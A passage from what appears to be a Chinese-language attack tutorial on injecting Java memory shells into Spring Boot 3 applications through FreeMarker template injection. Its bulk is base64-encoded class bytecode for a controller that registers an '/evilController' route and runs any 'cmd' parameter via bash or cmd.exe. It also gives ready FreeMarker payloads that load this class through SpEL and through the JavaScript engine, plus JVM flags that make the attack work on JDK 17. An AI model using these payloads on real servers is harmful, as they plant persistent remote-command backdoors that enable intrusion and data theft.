oAIgAjBwAkDAAlACYBABBqYXZhL2xhbmcvU3RyaW5nAQALdG9Mb3dlckNhc2UBACYoTGphdmEvdXRpbC9Mb2NhbGU7KUxqYXZhL2xhbmcvU3RyaW5nOwgAKAEAA3dpbgoAIgAqDAArACwBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWggALgEAA0dCSwoAMAAxBwAyDAAzADQBABhqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwgANgEABVVURi04CAA4AQADY21kCwA6ADsHADwMAD0AGgEAJ2pha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcggAPwEACS9iaW4vYmFzaAgAQQEAAi1jCABDAQAHY21kLmV4ZQgARQEAAi9jCgBHAEgHAEkMAEoASwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwoARwBNDABOAE8BAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAUQBSBwBTDABUAFUBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsKAFcAWAcAWQwAWgBbAQATamF2YS9pby9JbnB1dFN0cmVhbQEADHJlYWRBbGxCeXRlcwEABCgpW0IKACIAXQwABQBeAQAfKFtCTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDspVgcAYAEAE2phdmEvaW8vSU9FeGNlcHRpb24HAGIBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAYQBkDAAFAGUBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAGcAaAcAaQwAagBrAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5AQACb2sBAD0oTGphdmEvbGFuZy9PYmplY3Q7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7CABtAQAPL2V2aWxDb250cm9sbGVyCgBvAHAHAHEMAHIAcwEAO29yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvc3VwcG9ydC9SZXF1ZXN0Q29udGV4dFV0aWxzAQAZZmluZFdlYkFwcGxpY2F0aW9uQ29udGV4dAEAYihMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7CAB1AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwcAdwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcLAHkAegcAewwAfAB9AQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAAdnZXRCZWFuAQA3KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAgB/DACAAIEBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsKAIMAhAcAhQwAhgCBAQAPamF2YS9sYW5nL0NsYXNzAQANZ2V0U3VwZXJjbGFzcwgAiAEAD21hcHBpbmdSZWdpc3RyeQoAgwCKDACLAIwBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7CgCOAI8HAJAMAJEAkgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAI4AlAwAlQCWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAJgBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXJDb25maWd1cmF0aW9uCgCXAAMHAJsBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIKAJoAAwoAlwCeDACfAKABABBzZXRQYXR0ZXJuUGFyc2VyAQA7KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXI7KVYKAKIAowcApAwApQCmAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwEABXBhdGhzAQBcKFtMamF2YS9sYW5nL1N0cmluZzspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsHAKgBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAkApwCqDACrAKwBAANHRVQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7CwCuAK8HALAMALEAsgEARW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcgEAB21ldGhvZHMBAIEoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AtAwAtQC2AQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AuAwAuQC6AQAFYnVpbGQBAEEoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwgAvAEACHJlZ2lzdGVyBwC+AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kCgCDAMAMAMEAwgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAvQCPBwDFAQANbWVtQ29udHJvbGxlcggAxwEABHRlc3QKAMQAAwoAvQDKDADLAMwBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAM4BABNqYXZhL2xhbmcvRXhjZXB0aW9uCgDNANAMANEABgEAD3ByaW50U3RhY2tUcmFjZQEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9saW5neDUvbWVtU2hlbGwvbWVtQ29udHJvbGxlcjsBACsoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAJaXNXaW5kb3dzAQABWgEAB2NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNtZEFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAGc3Rkb3V0AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAOABAAlTaWduYXR1cmUBAD8oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk8TGphdmEvbGFuZy9TdHJpbmc7PjsBAAg8Y2xpbml0PgEABFBBVEgBAAphdHRyaWJ1dGVzAQBCTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXM7AQAIcmVxdWVzdDEBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAHbWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQASTGphdmEvbGFuZy9PYmplY3Q7AQAGY29uZmlnAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA/TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZtZXRob2QBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQASbWVtQ29udHJvbGxlci5qYXZhAQAMSW5uZXJDbGFzc2VzAQAUQnVpbGRlckNvbmZpZ3VyYXRpb24BAAdCdWlsZGVyACEAxAACAAAAAAADAAEABQAGAAEA0gAAAC8AAQABAAAABSq3AAGxAAAAAgDTAAAABgABAAAAFADUAAAADAABAAAABQDVANYAAAAJAMcA1wACANIAAAF0AAQABwAAAJK4AAfAAA22AA9MEhO4ABWyABu2ACESJ7YAKT0cmQALEi24AC+nAAgSNbgAL04rEje5ADkCADoEBr0AIlkDEj5TWQQSQFNZBRkEUzoFHJkAGAa9ACJZAxJCU1kEEkRTWQUZBFM6BbgARhkFtgBMOga7ACJZGQa2AFC2AFYttwBcS6cADUy7AGFZK7cAY78quABmsAABAAAAgACDAF8AAwDTAAAANgANAAAAGAAKABkAGwAaAC0AGwA3ABwATAAdAFAAHgBlACAAbwAhAIAAJQCDACMAhAAkAI0AJgDUAAAAXAAJAAoAdgDYANkAAQAbAGUA2gDbAAIALQBTANwA3QADADcASQA4AN4ABABMADQA3wDgAAUAbwARAOEA4gAGAIAAAwDjAN4AAACEAAkA5ADlAAEAjQAFAOMA3gAAAOYAAAAqAAX+ACcABwA6AUQHADD+ADgHADAHACIHAOf/AB0AAAABBwBf/AAJBwAiAOgAAAACAOkACADqAAYAAQDSAAAB2AAHAAsAAADdEmxLuAAHwAANTCu2AA9NLLgAbk4tEnQSdrkAeAMAwAB2OgQZBLYAfrYAgrYAghKHtgCJOgUZBQS2AI0ZBRkEtgCTOga7AJdZtwCZOgcZB7sAmlm3AJy2AJ0EvQAiWQMSbFO4AKEEvQCnWQOyAKlTuQCtAgAZB7kAswIAuQC3AQA6CBkGtgB+ErsGvQCDWQMSAlNZBBICU1kFEr1TtgC/OgkZCQS2AMMSxBLGA70Ag7YAvzoKGQkZBga9AAJZAxkIU1kEuwDEWbcAyFNZBRkKU7YAyVenAAhLKrYAz7EAAQAAANQA1wDNAAMA0wAAAFIAFAAAACoAAwAtAAoALgAPAC8AFAAwACMAMQA1ADIAOwAzAEQANABNADUAWQA2AGIANwCCADkAoQA6AKcAOwC0ADwA1ABAANcAPgDYAD8A3ABCANQAAAB6AAwAAwDRAOsA3gAAAAoAygDsAO0AAQAPAMUA7gDZAAIAFADAAO8A8AADACMAsQDxAPIABAA1AJ8A8wD0AAUARACQAIgA9QAGAE0AhwD2APcABwCCAFIA+AD5AAgAoQAzALwA+gAJALQAIAD7APoACgDYAAQA5AD8AAAA5gAAAAkAAvcA1wcAzQQAAgD9AAAAAgD+AP8AAAASAAIAlwCiAQAACQCuAKIBAQYJ">
<#assign pas="T(org.springframework.cglib.core.ReflectUtils).defineClass('memController',T(java.util.Base64).getDecoder().decode('"+evilBase64+"'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))">
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pas).getValue()}
springboot 3 最低支持的版本为 jdk17 直接访问 会报错
测试加 vm 参数
--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.nio=ALL-UNNAMED
--add-opens java.base/sun.nio.ch=ALL-UNNAMED

可以正常加载
JS引擎加载内存马
Nashorn 是 Oracle 在 Java 8 引入的 JavaScript 引擎,在 Java 15 被正式移除,但仍可通过插件或老版本运行时继续使用。
JDK 版本 | 内置 JS 引擎 | 可用名称 (getEngineByName ) |
备注 |
---|---|---|---|
1.6–1.7 | Rhino | javascript , js |
Nashorn 尚未出现 |
1.8–1.14 | Nashorn | nashorn , javascript , js |
Nashorn 最终取代 Rhino |
15+ | 无 | —(返回 null ) |
Nashorn 移除,须手动添加引擎 |
17+ + GraalJS 依赖 | GraalJS | graal.js , js , javascript |
GraalVM 引擎提供多个别名 |
17+ + Rhino 依赖 | Rhino | rhino , javascript , js |
取决于 Rhino 版本的别名实现 |
<#assign b64="yv66vgAAAD0BAgoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsHAA4BAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzCgANABAMABEAEgEACmdldFJlcXVlc3QBACsoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7CAAUAQAHb3MubmFtZQoAFgAXBwAYDAAZABoBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwkAHAAdBwAeDAAfACABABBqYXZhL3V0aWwvTG9jYWxlAQAEUk9PVAEAEkxqYXZhL3V0aWwvTG9jYWxlOwoAIgAjBwAkDAAlACYBABBqYXZhL2xhbmcvU3RyaW5nAQALdG9Mb3dlckNhc2UBACYoTGphdmEvdXRpbC9Mb2NhbGU7KUxqYXZhL2xhbmcvU3RyaW5nOwgAKAEAA3dpbgoAIgAqDAArACwBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWggALgEAA0dCSwoAMAAxBwAyDAAzADQBABhqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwgANgEABVVURi04CAA4AQADY21kCwA6ADsHADwMAD0AGgEAJ2pha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcggAPwEACS9iaW4vYmFzaAgAQQEAAi1jCABDAQAHY21kLmV4ZQgARQEAAi9jCgBHAEgHAEkMAEoASwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwoARwBNDABOAE8BAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAUQBSBwBTDABUAFUBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsKAFcAWAcAWQwAWgBbAQATamF2YS9pby9JbnB1dFN0cmVhbQEADHJlYWRBbGxCeXRlcwEABCgpW0IKACIAXQwABQBeAQAfKFtCTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDspVgcAYAEAE2phdmEvaW8vSU9FeGNlcHRpb24HAGIBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAYQBkDAAFAGUBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAGcAaAcAaQwAagBrAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5AQACb2sBAD0oTGphdmEvbGFuZy9PYmplY3Q7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7CABtAQAPL2V2aWxDb250cm9sbGVyCgBvAHAHAHEMAHIAcwEAO29yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvc3VwcG9ydC9SZXF1ZXN0Q29udGV4dFV0aWxzAQAZZmluZFdlYkFwcGxpY2F0aW9uQ29udGV4dAEAYihMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7CAB1AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwcAdwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcLAHkAegcAewwAfAB9AQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAAdnZXRCZWFuAQA3KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAgB/DACAAIEBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsKAIMAhAcAhQwAhgCBAQAPamF2YS9sYW5nL0NsYXNzAQANZ2V0U3VwZXJjbGFzcwgAiAEAD21hcHBpbmdSZWdpc3RyeQoAgwCKDACLAIwBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7CgCOAI8HAJAMAJEAkgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAI4AlAwAlQCWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAJgBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXJDb25maWd1cmF0aW9uCgCXAAMHAJsBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIKAJoAAwoAlwCeDACfAKABABBzZXRQYXR0ZXJuUGFyc2VyAQA7KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXI7KVYKAKIAowcApAwApQCmAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwEABXBhdGhzAQBcKFtMamF2YS9sYW5nL1N0cmluZzspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsHAKgBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAkApwCqDACrAKwBAANHRVQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7CwCuAK8HALAMALEAsgEARW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcgEAB21ldGhvZHMBAIEoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AtAwAtQC2AQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AuAwAuQC6AQAFYnVpbGQBAEEoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwgAvAEACHJlZ2lzdGVyBwC+AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kCgCDAMAMAMEAwgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAvQCPBwDFAQANbWVtQ29udHJvbGxlcggAxwEABHRlc3QKAMQAAwoAvQDKDADLAMwBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAM4BABNqYXZhL2xhbmcvRXhjZXB0aW9uCgDNANAMANEABgEAD3ByaW50U3RhY2tUcmFjZQEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9saW5neDUvbWVtU2hlbGwvbWVtQ29udHJvbGxlcjsBACsoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAJaXNXaW5kb3dzAQABWgEAB2NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNtZEFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAGc3Rkb3V0AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAOABAAlTaWduYXR1cmUBAD8oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk8TGphdmEvbGFuZy9TdHJpbmc7PjsBAAg8Y2xpbml0PgEABFBBVEgBAAphdHRyaWJ1dGVzAQBCTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXM7AQAIcmVxdWVzdDEBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAHbWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQASTGphdmEvbGFuZy9PYmplY3Q7AQAGY29uZmlnAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA/TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZtZXRob2QBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQASbWVtQ29udHJvbGxlci5qYXZhAQAMSW5uZXJDbGFzc2VzAQAUQnVpbGRlckNvbmZpZ3VyYXRpb24BAAdCdWlsZGVyACEAxAACAAAAAAADAAEABQAGAAEA0gAAAC8AAQABAAAABSq3AAGxAAAAAgDTAAAABgABAAAAFADUAAAADAABAAAABQDVANYAAAAJAMcA1wACANIAAAF0AAQABwAAAJK4AAfAAA22AA9MEhO4ABWyABu2ACESJ7YAKT0cmQALEi24AC+nAAgSNbgAL04rEje5ADkCADoEBr0AIlkDEj5TWQQSQFNZBRkEUzoFHJkAGAa9ACJZAxJCU1kEEkRTWQUZBFM6BbgARhkFtgBMOga7ACJZGQa2AFC2AFYttwBcS6cADUy7AGFZK7cAY78quABmsAABAAAAgACDAF8AAwDTAAAANgANAAAAGAAKABkAGwAaAC0AGwA3ABwATAAdAFAAHgBlACAAbwAhAIAAJQCDACMAhAAkAI0AJgDUAAAAXAAJAAoAdgDYANkAAQAbAGUA2gDbAAIALQBTANwA3QADADcASQA4AN4ABABMADQA3wDgAAUAbwARAOEA4gAGAIAAAwDjAN4AAACEAAkA5ADlAAEAjQAFAOMA3gAAAOYAAAAqAAX+ACcABwA6AUQHADD+ADgHADAHACIHAOf/AB0AAAABBwBf/AAJBwAiAOgAAAACAOkACADqAAYAAQDSAAAB2AAHAAsAAADdEmxLuAAHwAANTCu2AA9NLLgAbk4tEnQSdrkAeAMAwAB2OgQZBLYAfrYAgrYAghKHtgCJOgUZBQS2AI0ZBRkEtgCTOga7AJdZtwCZOgcZB7sAmlm3AJy2AJ0EvQAiWQMSbFO4AKEEvQCnWQOyAKlTuQCtAgAZB7kAswIAuQC3AQA6CBkGtgB+ErsGvQCDWQMSAlNZBBICU1kFEr1TtgC/OgkZCQS2AMMSxBLGA70Ag7YAvzoKGQkZBga9AAJZAxkIU1kEuwDEWbcAyFNZBRkKU7YAyVenAAhLKrYAz7EAAQAAANQA1wDNAAMA0wAAAFIAFAAAACoAAwAtAAoALgAPAC8AFAAwACMAMQA1ADIAOwAzAEQANABNADUAWQA2AGIANwCCADkAoQA6AKcAOwC0ADwA1ABAANcAPgDYAD8A3ABCANQAAAB6AAwAAwDRAOsA3gAAAAoAygDsAO0AAQAPAMUA7gDZAAIAFADAAO8A8AADACMAsQDxAPIABAA1AJ8A8wD0AAUARACQAIgA9QAGAE0AhwD2APcABwCCAFIA+AD5AAgAoQAzALwA+gAJALQAIAD7APoACgDYAAQA5AD8AAAA5gAAAAkAAvcA1wcAzQQAAgD9AAAAAgD+AP8AAAASAAIAlwCiAQAACQCuAKIBAQYJ">
${"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("classLoader=java.lang.Thread.currentThread().getContextClassLoader();b64cl=classLoader.loadClass(\"java.util.Base64\");decoder=b64cl.getDeclaredMethod(\"getDecoder\").invoke(null);b64 = "+b64+";bytes = decoder.decode(b64);ClassLoader1=classLoader.loadClass(\"java.lang.ClassLoader\");byteType = \"\".getBytes().getClass();IntType=java.lang.Integer.TYPE;defineClass = ClassLoader1.getDeclaredMethod(\"defineClass\", byteType, IntType, IntType);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader, bytes, 0, bytes.length);clazz.newInstance();")}
js 引擎在 jdk.nashorn.internal.runtime.ScriptRuntime#apply 方法中 会桥接到Java 方法,所以这个引擎可以直接执行java代码
在jdk8中测试如下代码
package com.evil;
import javax.script.ScriptEngine;
